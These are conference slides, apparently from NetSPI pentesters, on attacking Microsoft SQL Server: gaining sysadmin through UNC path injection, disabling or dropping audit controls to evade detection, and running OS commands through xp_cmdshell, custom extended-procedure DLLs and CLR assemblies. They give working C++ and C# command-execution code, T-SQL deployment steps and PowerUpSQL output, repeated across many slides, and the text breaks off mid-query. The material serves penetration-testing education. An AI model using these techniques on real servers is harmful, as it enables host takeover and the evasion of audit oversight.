BEYOND XP_CMDSHELL

OWNING THE EMPIRE THROUGH SQL SERVER

MISSION
TO SYSADMIN…
…AND BEYOND!
2 Confidential & Proprietary
3
BEYOND XP_CMDSHELL: PRESENTATION OVERVIEW

MISSION OBJECTIVES
1. Get Access
2. Hide from Audit Controls
3. Execute OS Commands
4. Use SQL Server as a beach head
5. Detect OS Command Execution

3 Confidential & Proprietary

4
BEYOND XP_CMDSHELL

Who are we?

 Alexander Leary
 Scott Sutherland

4 Confidential & Proprietary

5
BEYOND XP_CMDSHELL

Alexander Leary
Name: Alexander Leary

WMI
Job: Network & Application Pentester @ NetSPI

Twitter: @0xbadjuju

Slides: On their way ☺

FUN
Blogs:

Code:
https://blog.netspi.com/author/aleary/

https://blog.netspi.com/expanding-the-empire-with-sql/
4 U
5 Confidential & Proprietary
6
BEYOND XP_CMDSHELL

Scott Sutherland
Name: Scott Sutherland

Job: Network & Application Pentester @ NetSPI

Twitter: @_nullbind

Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi

Blogs: https://blog.netspi.com/author/scott-sutherland/

Code: https://github.com/netspi/PowerUpSQL
https://github.com/nullbind

6 Confidential & Proprietary

GET ACCESS

7 Confidential & Proprietary

8
BEYOND XP_CMDSHELL: GET ACCESS

Get Access: Escalation Path

1. Locate SQL Servers on the domain via LDAP queries
to DC
2. Attempt to log into each one as the current
domain user
3. Perform UNC path injection to capture SQL Server
service account password hash

8 Reference: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/ Confidential & Proprietary

9
BEYOND XP_CMDSHELL: GET ACCESS

Get Access: Privilege Escalation Path

Domain Public Role

Excessive UNC Path
User on Attack IP
Privileges Injection
Access SQL Server

Access
SQL Server using Crack or Relay
Service Account Password Hash
(sysadmin)

9 https://gist.githubusercontent.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e Confidential & Proprietary

10
BEYOND XP_CMDSHELL: GET ACCESS

Get Access: PowerUpSQL Automation

Action PowerUpSQL Function
Get SQL Server service account
Invoke-SQLUncPathInjection
password hashes

10 Confidential & Proprietary

11
BEYOND XP_CMDSHELL: GET ACCESS

Get Access: PowerUpSQL Automation

 Invoke-SQLUncPathInjection
 Written by Thomas Elling
 Gold Star PowerUpSQL contributor!

11 Confidential & Proprietary

12
BEYOND XP_CMDSHELL: GET ACCESS

DEMO

12 Confidential & Proprietary

13
BEYOND XP_CMDSHELL: GET ACCESS

13 Confidential & Proprietary

HIDE FROM
AUDIT
CONTROLS
14 Confidential & Proprietary
15
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS

Checking Audit Controls

 List Server audits
 List Server audit specifications (DDL Events)
 List Database audit specifications (DML Events)

Database 2
Server Audit Server
Audit
Specification Audit
Specification

Database 1
Audit
Specification

15 https://msdn.microsoft.com/en-us/library/cc280663(v=sql.100).aspx Confidential & Proprietary

16
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS

Checking Audit Controls – Code – List Server Audits

SELECT * FROM sys.dm_server_audit_status

16 Confidential & Proprietary

17

17 Confidential & Proprietary

18
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS

Checking Audit Controls – Code – List Server Specs

SELECT audit_id,
a.name as audit_name,
s.name as server_specification_name,
d.audit_action_name,
s.is_state_enabled,
d.is_group,
d.audit_action_id,
s.create_date,
s.modify_date
FROM sys.server_audits AS a
JOIN sys.server_audit_specifications AS s
ON a.audit_guid = s.audit_guid
JOIN sys.server_audit_specification_details AS d
ON s.server_specification_id = d.server_specification_id

18 Confidential & Proprietary

19

19 Confidential & Proprietary

20
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS

Checking Audit Controls – Code – List Database Specs

SELECT a.audit_id,
a.name as audit_name,
s.name as database_specification_name,
d.audit_action_name,
d.major_id,
OBJECT_NAME(d.major_id) as object,
s.is_state_enabled,
d.is_group, s.create_date,
s.modify_date,
d.audited_result
FROM sys.server_audits AS a
JOIN sys.database_audit_specifications AS s
ON a.audit_guid = s.audit_guid
JOIN sys.database_audit_specification_details AS d
ON s.database_specification_id = d.database_specification_id

20 Confidential & Proprietary

21

21 Confidential & Proprietary

22
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS

Hiding from Audit Controls

 Remove audit controls – not recommended
 Disable audit controls – not recommended
 Just use techniques that aren’t being audited

22 Confidential & Proprietary

23
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS

Hiding from Audit Controls –Disable or Remove Audit

-- Disable and remove SERVER AUDIT

ALTER SERVER AUDIT DerbyAudit
WITH (STATE = OFF)
DROP SERVER AUDIT Audit_StartUp_Procs

-- Disable and remove SERVER AUDIT SPECIFICATION

ALTER SERVER AUDIT SPECIFICATION Audit_Server_Configuration_Changes
WITH (STATE = OFF)
DROP SERVER AUDIT SPECIFICATION Audit_Server_Configuration_Changes

-- Disable and remove DATABASE AUDIT SPECIFICATION

ALTER DATABASE AUDIT SPECIFICATION Audit_OSCMDEXEC
WITH (STATE = OFF)
DROP DATABASE AUDIT SPECIFICATION Audit_OSCMDEXEC

23 Confidential & Proprietary

24

“This event is raised

whenever any audit is
created, modified or
deleted.”

24 Confidential & Proprietary

25
BEYOND XP_CMDSHELL: HIDE FROM AUDITING CONTROLS

Obtain Sysadmin Access – Automation – PowerUpSQL

Action PowerUpSQL Function
Get Server Specifications Get-SQLAuditServerSpec
Get Database Specifications Get-SQLAuditDatabaseSpec

25 Confidential & Proprietary

 Where?
Everywhere!

OS COMMAND
EXECUTION
26 Confidential & Proprietary
27
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

Reminder
OS commands via SQL Server = Windows Account Impersonation

Many possible configurations:

 Local User
 Local System
 Network Service
 Local Managed Service Account
 Domain Managed Service Account
 Domain User
 Domain Admin

27 Confidential & Proprietary

28
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

SQL Server Agent

Service

28 Confidential & Proprietary

29
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

Use SQL Server components to run commands via

 .Net Methods
 New Process() + UseShellExecute
 System.management.automation.powershell
 C++ Methods
 ShellExecute / ShellExecuteEx
 System
 COM Objects
 wscript.shell
 shell.application

29 Confidential & Proprietary

30
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

xp_cmdshell

30 Confidential & Proprietary

31
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL

xp_cmdshell: Overview
1. C++ DLL export registered by default
2. Affected Versions: All
 Disabled by default since SQL Server 2005
3. Requires sysadmin role by default
4. EXECUTE privileges can be granted to a database user if the
xp_cmdshell_proxy_account is configured correctly
5. Executes as the SQL Server service account

31 Confidential & Proprietary

32
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL

xp_cmdshell: Configuration Changes and Execution

Action TSQL Example
Re-Install sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;
GO
Re-Enable
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO

Execute Exec master..xp_cmdshell 'whoami'

32 Confidential & Proprietary

33
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP_CMDSHELL

xp_cmdshell: Automation – PowerUpSQL

Action PowerUpSQL Function
Execute OS Commands via
Invoke-SQLOSCmdExec
xp_cmdshell

33 Confidential & Proprietary

34
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL

xp_cmdshell is monitored more than we’d like

CAN THEY
Yes, yes they can.
SEE ME ?!?!

34 Confidential & Proprietary

35
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

GOOD
NEWS
35 Confidential & Proprietary
36
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

THERE ARE
OTHER
OPTIONS
36 Confidential & Proprietary
37
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

1. Extended Stored Procedures

2. CLR Assemblies
3. Agent Jobs
(a) CMDEXEC (b) PowerShell (c) ActiveX: VBScript (d) ) ActiveX: Jscript (e) SSIS

4. Ole Automation Procedures

5. R Scripts
6. Python Scripts
7. Openrowset/OpenDataSource/OpenQuery using Providers
8. Registry and file autoruns

37 Confidential & Proprietary

38
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

Extended Stored
Procedures

38 Confidential & Proprietary

39
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP

Extended Stored Procedure (XP) - Overview

1. C++ DLL export that maps to SQL Server stored procedure
2. Affected Versions: All
3. Requires sysadmin role by default
4. Executes as the SQL Server service account
5. The DLL can have any file extension ☺
6. The DLL can be loaded from Webdav ☺

39 Confidential & Proprietary

40
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return 1;
}

__declspec(dllexport) ULONG __GetXpVersion() {

return 1;
}

#define RUNCMD_FUNC extern "C" __declspec (dllexport)

RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C \" 'This is a test.'|out-file c:\\temp\\test_ps2.txt \" "), TEXT(" C:\\ "), SW_SHOW);
system("PowerShell -C \"'This is a test.'|out-file c:\\temp\\test_ps1.txt\"");
return 1;
}

Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
40 Confidential & Proprietary
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
41
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return 1;
}

__declspec(dllexport) ULONG __GetXpVersion() {

return 1;
}

#define RUNCMD_FUNC extern "C" __declspec (dllexport)

RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C \" 'This is a test.'|out-file c:\\temp\\test_ps2.txt \" "), TEXT(" C:\\ "), SW_SHOW);
system("PowerShell -C \"'This is a test.'|out-file c:\\temp\\test_ps1.txt\"");
return 1;
}

Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
41 Confidential & Proprietary
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
42
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return 1;
}

__declspec(dllexport) ULONG __GetXpVersion() {

return 1;
}

#define RUNCMD_FUNC extern "C" __declspec (dllexport)

RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C \" 'This is a test.'|out-file c:\\temp\\test_ps2.txt \" "), TEXT(" C:\\ "), SW_SHOW);
system("PowerShell -C \"'This is a test.'|out-file c:\\temp\\test_ps1.txt\"");
return 1;
}

Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
42 Confidential & Proprietary
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
43
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return 1;
}

__declspec(dllexport) ULONG __GetXpVersion() {

return 1;
}

#define RUNCMD_FUNC extern "C" __declspec (dllexport)

RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C \" 'This is a test.'|out-file c:\\temp\\test_ps2.txt \" "), TEXT(" C:\\ "), SW_SHOW);
system("PowerShell -C \"'This is a test.'|out-file c:\\temp\\test_ps1.txt\"");
return 1;
}

Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
43 Confidential & Proprietary
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
44
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP

Extended Stored Procedure (XP) - Instructions

1. Compile the C++ DLL
2. Register the exported DLL functions in SQL Server using
“sp_addextendedproc“ (“DBCC ADDEXTENDEDPROC” wrapper)

44 Confidential & Proprietary

45
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Extended
-- RegisterStored Procedure
xp via local disk – Code – TSQL
sp_addextendedproc ‘RunPs', ‘c:\runps.dll’

-- Register xp via UNC path

sp_addextendedproc ‘RunPs', '\\servername\pathtofile\runps.dll’

-- Register xp via webdav path

sp_addextendedproc ‘RunPs', '\\servername@80\pathtofile\runps.dll’

-- Register xp via webdav path and renamed with a .txt extension

sp_addextendedproc ‘RunPs', '\\servername@80\pathtofile\runps.txt’

-- Run xp
Exec RunPs

-- Remove xp
sp_dropextendedproc ‘RunPs’

45 Confidential & Proprietary

46
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP

Extended Stored Procedures – Automation – PowerUpSQL

Action PowerUpSQL Function
Create DLL to Execute OS
Create-SQLFileXpDll
Commands via XP
List existing XP for all
Get-SQLStoredProcedureXP
databases

46 Confidential & Proprietary

47
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Extended Stored Procedure – Automation - PowerUpSQL
PS C:\> Import-Module .\PowerUpSQL.psd1
PS c:> Create-SQLFileXpDll -Verbose -OutFile c:\mycmd.dll -Command "echo pure evil >
c:\evil.txt" -ExportName xp_mycmd

VERBOSE: Found buffer offset for command: 32896

VERBOSE: Found buffer offset for function name: 50027
VERBOSE: Found buffer offset for buffer: 50035
VERBOSE: Creating DLL c:\mycmd.dll
VERBOSE: - Exported function name: xp_mycmd
VERBOSE: - Exported function command: "echo pure evil > c:\evil.txt"
VERBOSE: - Manual test: rundll32 c:\mycmd.dll,xp_mycmd
VERBOSE: - DLL written
VERBOSE: SQL Server Notes
VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure...
VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:\myxp.dll'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
'\\servername\pathtofile\myxp.dll'
VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd

47 Confidential & Proprietary

48
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Extended Stored Procedure – Automation - PowerUpSQL
PS C:\> Import-Module .\PowerUpSQL.psd1
PS c:> Create-SQLFileXpDll -Verbose -OutFile c:\mycmd.dll -Command "echo pure evil >
c:\evil.txt" -ExportName xp_mycmd

VERBOSE: Found buffer offset for command: 32896

VERBOSE: Found buffer offset for function name: 50027
VERBOSE: Found buffer offset for buffer: 50035
VERBOSE: Creating DLL c:\mycmd.dll
VERBOSE: - Exported function name: xp_mycmd
VERBOSE: - Exported function command: "echo pure evil > c:\evil.txt"
VERBOSE: - Manual test: rundll32 c:\mycmd.dll,xp_mycmd
VERBOSE: - DLL written
VERBOSE: SQL Server Notes
VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure...
VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:\myxp.dll'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
'\\servername\pathtofile\myxp.dll'
VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd

48 Confidential & Proprietary

49
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Extended Stored Procedure – Automation - PowerUpSQL
PS C:\> Import-Module .\PowerUpSQL.psd1
PS c:> Create-SQLFileXpDll -Verbose -OutFile c:\mycmd.dll -Command "echo pure evil >
c:\evil.txt" -ExportName xp_mycmd

VERBOSE: Found buffer offset for command: 32896

VERBOSE: Found buffer offset for function name: 50027
VERBOSE: Found buffer offset for buffer: 50035
VERBOSE: Creating DLL c:\mycmd.dll
VERBOSE: - Exported function name: xp_mycmd
VERBOSE: - Exported function command: "echo pure evil > c:\evil.txt"
VERBOSE: - Manual test: rundll32 c:\mycmd.dll,xp_mycmd
VERBOSE: - DLL written
VERBOSE: SQL Server Notes
VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure...
VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:\myxp.dll'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
'\\servername\pathtofile\myxp.dll'
VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd

49 Confidential & Proprietary

51
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION

Common Language
Runtime (CLR)
Assemblies
51 Confidential & Proprietary
52
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR

CLR Assemblies- Overview

1. .net DLL method that maps to a SQL Server stored procedure ☺
2. Affected Versions: SQL Server 2008 to 2017 (so far)
3. Requires sysadmin role by default
4. Non sysadmin privileges: CREATE ASSEMBLY, ALTER ASSEMBLY, or
DDL_ADMIN Role
5. Executes as the SQL Server service account

52 Confidential & Proprietary

53
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CRL

CLR Assemblies- Overview

Lots of great work by:
 Lee Christensen (@tifkin_)
 Nathan Kirk

53 http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/
Confidential & Proprietary
54
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR

CLR Assemblies - Instructions

1. Compile a .net assembly DLL
2. Server level setting: “clr enabled” set to 1
3. Server level setting: “clr strict security” set to 0 (2017)
4. Database level setting: “is_trustworthy” is set to “1”
- (or) use the default “msdb” database
5. Create Assembly from the file (or hexdecimal string)
- assembly is stored in SQL Server Table
6. Create Procedure that maps to CLR methods
7. Run your procedure

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
54 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
55
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures {

[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();

// Return command resutls

SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();

proc.WaitForExit();
proc.Close();
}
};
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
55 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
56
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures {

[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();

// Return command results

SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();

proc.WaitForExit();
proc.Close();
}
};
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
56 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
57
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures {

[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();

// Return command results

SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();

proc.WaitForExit();
proc.Close();
}
};
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
57 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
58
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures {

[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();

// Return command results

SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();

proc.WaitForExit();
proc.Close();
}
};
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
58 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
59
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures {

[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();

// Return command results

SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();

proc.WaitForExit();
proc.Close();
}
};
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
59 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
60
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb

-- Enable show advanced options on the server

sp_configure 'show advanced options’,1
RECONFIGURE
GO

-- Enable CLR on the server

sp_configure 'clr enabled’,1
RECONFIGURE
GO

-- Create the assembly from a file path

CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;

-- Create a procedure that links to the CLR method

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO

-- Execute the procedure

Exec cmd_exec ‘whoami’

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
60 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
61
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb

-- Enable show advanced options on the server

sp_configure 'show advanced options’,1
RECONFIGURE
GO

-- Enable CLR on the server

sp_configure 'clr enabled’,1
RECONFIGURE
GO

-- Create the assembly from a file path

CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;

-- Create a procedure that links to the CLR method

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO

-- Execute the procedure

Exec cmd_exec ‘whoami’

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
61 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
62
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb

-- Enable show advanced options on the server

sp_configure 'show advanced options’,1
RECONFIGURE
GO

-- Enable CLR on the server

sp_configure 'clr enabled’,1
RECONFIGURE
GO

-- Create the assembly from a file path

CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;

-- Create a procedure that links to the CLR method

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO

-- Execute the procedure

Exec cmd_exec ‘whoami’

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
62 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
63
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb

-- Enable show advanced options on the server

sp_configure 'show advanced options’,1
RECONFIGURE
GO

-- Enable CLR on the server

sp_configure 'clr enabled’,1
RECONFIGURE
GO

-- Create the assembly from a file path

CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;

-- Create a procedure that links to the CLR method

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO

-- Execute the procedure

Exec cmd_exec ‘whoami’

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
63 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
64
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb

-- Enable show advanced options on the server

sp_configure 'show advanced options’,1
RECONFIGURE
GO

-- Enable CLR on the server

sp_configure 'clr enabled’,1
RECONFIGURE
GO

-- Create the assembly from a file path

CREATE ASSEMBLY my_assembly FROM 'c:\temp\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;

-- Create a procedure that links to the CLR method

CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO

-- Execute the procedure

Exec cmd_exec ‘whoami’

Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
64 Confidential & Proprietary
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
66
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
CLR Assemblies – Code – TSQL – Select Assemblies
USE msdb;
SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
af.name + '.dll' as [file_name],
